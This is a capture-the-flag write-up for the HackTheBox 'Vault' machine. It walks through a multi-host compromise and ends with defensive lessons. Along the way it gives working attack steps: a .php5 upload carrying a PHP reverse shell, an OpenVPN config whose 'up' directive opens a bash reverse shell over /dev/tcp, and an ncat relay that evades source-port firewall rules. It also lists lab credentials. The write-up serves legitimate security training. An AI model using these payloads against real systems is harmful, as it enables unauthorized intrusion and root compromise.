Vault - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Vault is a multi-host Linux machine that demonstrates the complexity of pivoting through network segments with strict firewall rules. The attack begins with a file upload bypass on an externally-facing Ubuntu web server, leading to RCE as www-data. Enumeration yields SSH credentials and network topology information revealing two internal hosts: a DNS server and a Vault server. The DNS host is compromised via a malicious OpenVPN configuration file that achieves command injection during the “test VPN” functionality, granting root access. Log file analysis exposes source port-based firewall rules protecting the Vault host’s SSH service on a non-standard port. A relay using ncat is established to satisfy these port restrictions, enabling SSH access to Vault. Finally, the root flag is recovered as a PGP-encrypted file, requiring key transfer through the compromised hosts and decryption using a passphrase found during initial enumeration.

TL;DR: File upload bypass (.php5) → www-data shell on Ubuntu → credential disclosure → malicious OpenVPN config → root on DNS → source port-restricted SSH relay → Vault access → PGP key transfer and decryption → root flag

Reconnaissance

Port Scanning

# Initial TCP scan
nmap -sC -sV -T4 -p- 10.10.10.109

Results:

• 22/tcp - OpenSSH (version detected)
• 80/tcp - Apache/2.4.18 (Ubuntu)

Service Enumeration

HTTP (Port 80)

Initial visual inspection of the web server revealed a landing page describing a service offering. Directory enumeration was required to discover hidden content:

# Generate wordlist from site content
cewl http://10.10.10.109 | tr '[:upper:]' '[:lower:]' > vault.txt

# Directory bruteforce
wfuzz -u http://10.10.10.109/FUZZ -w vault.txt -R2 --hc 404

This discovered the /sparklays/ directory, which returned a 403 Forbidden response. Further enumeration of this path:

# Enumerate sparklays subdirectories
wfuzz -u http://10.10.10.109/sparklays/FUZZ -w /usr/share/dirb/wordlists/common.txt -R2 --hc 404

Key findings:

• /sparklays/admin.php - Administrative interface (initially forbidden)
• /sparklays/design/ - Design settings directory
• /sparklays/uploads/ - Upload destination directory

Host Header Bypass:

The admin.php page was protected by a host-based restriction. Intercepting the request with Burp Suite and modifying the Host header to localhost bypassed this control, revealing the admin panel with a link to /sparklays/design/design.html.

Vulnerability Assessment

1. Host-based Access Control Bypass - Admin interface accessible via Host header manipulation
2. File Upload Restriction Bypass - Upload functionality filters common PHP extensions but allows .php5
3. Network Segmentation Information Disclosure - Credentials and network topology exposed in user files
4. OpenVPN Configuration Injection - VPN config file editable by www-data with test execution as root
5. Source Port-based Firewall Rules - Overly specific firewall logic creates pivot opportunity

Initial Foothold

File Upload Bypass and Web Shell

The design settings page (/sparklays/design/design.html) provided logo upload functionality with client-side and server-side extension filtering. Testing revealed that while .php extensions were blocked, .php5 extensions were permitted.

# Copy and modify PHP reverse shell
cp /usr/share/webshells/php/php-reverse-shell.php shell.php5

# Edit shell.php5 to set attacker IP and port
# $ip = '10.10.14.X';
# $port = 9001;

Exploitation Steps:

1. Started netcat listener:

nc -lvnp 9001

2. Uploaded shell.php5 through the web interface
3. Navigated to /sparklays/uploads/shell.php5 to trigger execution
4. Received reverse shell as www-data on the Ubuntu host (IP: 192.168.122.1)

Post-Exploitation Enumeration

# Stabilize shell
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Background and 'stty raw -echo; fg'

# Identify current host
hostname  # Returns: Ubuntu
ip addr   # 192.168.122.1

# Enumerate users
ls -la /home
# Found: dave

# Check dave's desktop
ls -la /home/dave/Desktop
cat /home/dave/Desktop/*

Critical Information Disclosure:

Dave’s desktop contained multiple files with sensitive information:

• SSH Credentials: dave:Dav3therav3123
• Network Topology: Server at 192.168.122.4 (labeled “DNS”), Vault at 192.168.5.2
• PGP Passphrase: itscominghome

Privilege Escalation

Phase 1: DNS Server Compromise (192.168.122.4)

SSH Port Forwarding

# From attacker machine, SSH to Ubuntu host as dave
ssh dave@10.10.10.109
# Password: Dav3therav3123

# Scan internal DNS host
nc -zv 192.168.122.4 1-100
# Ports 22 and 80 open

# Forward DNS host's web server to local machine
ssh -L 8000:192.168.122.4:80 dave@10.10.10.109

Accessing http://localhost:8000 revealed a VPN configuration management interface.

OpenVPN Configuration File Exploitation

The web interface at http://localhost:8000 provided functionality to edit and test OpenVPN configuration files via vpnconfig.php. Further enumeration:

# Additional web fuzzing revealed 'notes' file
curl http://localhost:8000/notes

The notes file indicated:

• The .ovpn file (123.ovpn) had been set to chmod 777
• The file was editable by www-data
• A “test VPN” function executed the configuration as root

Vulnerability Analysis:

OpenVPN configuration files support various directives, including the up parameter, which executes a command when the VPN interface comes up. When combined with script-security 2, arbitrary commands can be executed. Since the test function runs as root, this provides a direct privilege escalation vector.

Exploitation:

1. From the www-data shell on Ubuntu, created a malicious OpenVPN config:

# Write malicious config directly via the web interface or file write
cat > /tmp/malicious.ovpn << 'EOF'
remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
nobind
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/1337 0<&1 2>&1&'"
EOF

2. Started listener on Ubuntu host:

# From www-data shell
nc -lvnp 1337

3. Uploaded the malicious configuration via the web interface (POST to vpnconfig.php)
4. Triggered execution via ?function=testvpn GET parameter
5. Received reverse shell as root on DNS host (192.168.122.4)

User Flag Capture

# From root shell on DNS host
cat /home/dave/user.txt
# <redacted>

Additional Credential Discovery

# Check dave's home on DNS host
ls -la /home/dave
cat /home/dave/.ssh/ssh

# Found additional credentials
# dave:dav3gerous567

Phase 2: Vault Server Pivot (192.168.5.2)

Firewall Rule Discovery

# From root shell on DNS host, examine auth logs
grep -i "192.168.5.2" /var/log/auth.log

The auth.log revealed nmap and ncat commands targeting 192.168.5.2, indicating previous enumeration efforts. Key findings:

• SSH running on port 987 (non-standard)
• Firewall only accepts connections from source port 53 or 4444

Port Scanning with Source Port Specification

# Verify firewall behavior
nmap -p987 192.168.5.2  # Shows filtered/closed

# Scan with source port 53
nmap -p987 --source-port 53 192.168.5.2
# Port 987/tcp open

Establishing SSH Relay

The firewall restriction required connections to originate from source port 53 or 4444. Since SSH clients typically use ephemeral source ports, a relay was necessary:

# From root shell on DNS host
# Set up ncat relay listening on port 1234, forwarding to Vault:987 with source port 53
ncat -l 1234 -k --sh-exec "ncat 192.168.5.2 987 -p 53" &

How This Works:

• ncat -l 1234 listens on port 1234 on DNS host
• -k keeps the listener alive between connections
• --sh-exec executes the provided command for each connection
• The inner ncat 192.168.5.2 987 -p 53 connects to Vault’s SSH with source port 53
• This effectively proxies connections through the DNS host while satisfying the source port requirement

SSH to Vault Through Relay

# From attacker machine, SSH to dave@Vault via the relay
# First, forward the relay port from DNS to local machine
ssh -L 2222:127.0.0.1:1234 dave@10.10.10.109 -t ssh dave@192.168.122.4

# In separate terminal, connect through the forwarded relay
ssh -p 2222 dave@localhost
# Password: dav3gerous567

Alternatively, from the DNS host directly:

ssh -p 1234 dave@localhost
# Password: dav3gerous567

Successfully obtained shell on Vault (192.168.5.2) as user dave. Note: The shell was a restricted bash (rbash) environment.

Phase 3: Root Flag Recovery via PGP Decryption

Encrypted Flag Discovery

# From dave@Vault shell
ls -la ~
cat ~/root.txt.gpg
# Binary GPG-encrypted file

GPG Key Analysis

# Identify the key used to encrypt the file
gpg --list-packets root.txt.gpg
# Shows key ID: D1EB1F03

# Check if key exists on Vault
gpg --list-keys
# No keys found on Vault

The root flag was encrypted with PGP key D1EB1F03, but this key was not present on the Vault host.

Key Location and File Transfer

Checking the original Ubuntu host (192.168.122.1):

# From dave@Ubuntu shell (via initial SSH)
gpg --list-secret-keys
# Key D1EB1F03 found!

Transfer Strategy:

The encrypted file needed to be transferred from Vault → DNS → Ubuntu for decryption.

# On DNS host, establish additional relay for SCP
# (The existing relay on port 1234 can handle SCP as well)

# From DNS host
scp -P 1234 dave@localhost:~/root.txt.gpg /tmp/root.txt.gpg
# Password: dav3gerous567

# Then from Ubuntu or attacker machine
scp dave@192.168.122.4:/tmp/root.txt.gpg .

Flag Decryption

# On Ubuntu host (or after transferring to attacker machine via dave@Ubuntu)
# Using the PGP private key present on Ubuntu
gpg --decrypt root.txt.gpg
# Passphrase: itscominghome
# (Found in dave's Desktop files during initial enumeration)

# Output: root flag
# <redacted>

Attack Chain Summary

Web Recon → Host Header Bypass → File Upload (.php5) → www-data@Ubuntu (192.168.122.1)
→ Credential Discovery (dave:Dav3therav3123, passphrase:itscominghome)
→ SSH Port Forward (DNS:80 → localhost:8000)
→ Malicious OpenVPN Config (script-security 2 + up directive)
→ root@DNS (192.168.122.4)
→ Log Analysis (/var/log/auth.log)
→ Source Port Discovery (987/tcp, requires source port 53/4444)
→ ncat Relay Setup (port 1234 → Vault:987 -p 53)
→ dave@Vault (192.168.5.2) via SSH through relay
→ GPG Encrypted Flag Discovery (key D1EB1F03)
→ File Transfer (Vault → DNS → Ubuntu)
→ GPG Decryption with passphrase
→ Root Flag

Tools Used

Key Learnings

Techniques Practiced

• Host-based Access Control Bypass - Manipulating HTTP headers to circumvent IP/host restrictions
• File Upload Filter Evasion - Exploiting incomplete extension blacklists (.php5 bypass)
• SSH Port Forwarding - Dynamic and local port forwarding to access internal services
• OpenVPN Configuration Exploitation - Abusing script-security and up directives for command injection
• Source Port-based Firewall Bypass - Using ncat to establish relays that satisfy specific source port requirements
• Multi-Hop Pivoting - Navigating through three network segments (external → Ubuntu → DNS → Vault)
• PGP Key Management - Understanding GPG key pairs, identifying encryption keys, and cross-host decryption
• Restricted Shell Escape - Working within rbash constraints to achieve objectives
• Log Analysis - Mining system logs for network reconnaissance intelligence

Lessons Learned

1. Defense in Depth Matters: Even with network segmentation, credentials and topology information left in user-accessible locations can unravel the entire security model.

2. Application-Level Proxies Are Risky: The OpenVPN configuration interface trusted user input and executed it with root privileges. Any application that processes configuration files should validate inputs and avoid running with elevated privileges when possible.

3. Source Port Filtering Is Fragile: Firewall rules based solely on source port provide minimal security since attackers can easily specify source ports. This technique should never be relied upon as a primary security control.

4. Extension Blacklists Are Insufficient: The file upload protection only blocked common PHP extensions. A whitelist approach allowing only specific safe extensions (e.g., .jpg, .png) would have been more secure.

5. Key Material Should Be Compartmentalized: The PGP private key residing on a user’s SSH-accessible account created a path to decrypt sensitive data. Hardware security modules or separate key management systems provide better protection.

6. Monitoring Log Files Can Reveal Attacker TTPs: The auth.log file showed previous reconnaissance attempts, demonstrating why log monitoring and anomaly detection are critical security controls.

7. Network Pivoting Requires Careful Planning: Multi-hop attacks through restricted environments demand understanding of network topology, firewall rules, and available tools on each compromised host. Documenting the network map as you discover it is essential.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• HackTheBox Official Writeup - Vault (Document No D19.100.12) by egre55
• OpenVPN Configuration File Exploitation: “Reverse Shell from an OpenVPN Configuration File” by Jacob Baines (Tenable TechBlog)